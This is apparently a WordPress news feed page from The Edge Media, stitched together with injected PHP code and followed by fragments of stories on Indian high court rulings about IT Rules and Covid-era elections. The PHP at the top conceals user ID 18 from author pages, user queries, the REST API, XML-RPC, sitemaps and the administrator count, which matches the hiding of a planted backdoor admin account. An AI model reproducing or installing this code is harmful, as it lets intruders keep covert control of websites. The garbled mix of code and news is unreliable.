add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Bombay HC Stays Two Provisions of IT Rules, Says They Prima Facie Violate Freedom of Speech appeared first on The Edge Media.
]]>The court was hearing petitions filed by The Leaflet and Nikhil Wagle against the new rules.The bench of Chief Justice Dipankar Datta and Justice G.S. Kulkarni, however, pointed out that the relief was only applicable to the two petitioners in question, Bar and Bench reported.
The rules being stayed, the high court noted, prima facie violate the right to freedom of speech under Article 19 of the constitution and also went against the IT Act, under which the new rules were formed.
The post Bombay HC Stays Two Provisions of IT Rules, Says They Prima Facie Violate Freedom of Speech appeared first on The Edge Media.
]]>The post Madras HC’s scrambled election for Corona’s second wave appeared first on The Edge Media.
]]>The High Court has held the Election Commission responsible for the second wave of Corona, because the Election Commission did not stop the election rallies even after the Corona crisis.
Madras High Court Chief Justice S. Banerjee said during the hearing that the Election Commission is responsible for the second wave of Corona. The court said that if the murder charge is imposed on the Election Commission officials, it will not be wrong.
In court, when the Election Commission responded that the covid guidelines were followed on their behalf, the rules were followed on voting day.
The court was angry at this and asked if the Election Commission was on the second plane when the campaign was going on.
The court gave a stringent warning The court has also warned that if the guidelines related to covid are not followed on May 2 and its blueprint is not prepared, then it will ban the counting of votes.
The court said during the hearing that the issue of health is very important, but the matter of concern is that the court has to remind it. This time the situation has become such that one has to struggle to stay alive.
The High Court has now directed the Election Commission that it should make a plan with the Health Secretary and prepare for the counting day. The High Court has asked to make a plan by April 30.
Corona’s havoc escalated between elections, let us tell you that elections have been held in five states of the country during the Corona period itself.
Elections have ended in four states, while voting is still going on in Bengal. After the end of voting in the electoral states, many restrictions have been imposed due to the increase in the corona cases.
If we talk about the whole country, then every day around three and a half lakh cases are coming in the country.
Whereas the situation has now become uncontrollable. From Delhi to major cities like Bangalore, Mumbai, Lucknow and Kolkata, there is a shortage of beds, lack of oxygen and the condition of patients is poor.
The post Madras HC’s scrambled election for Corona’s second wave appeared first on The Edge Media.
]]>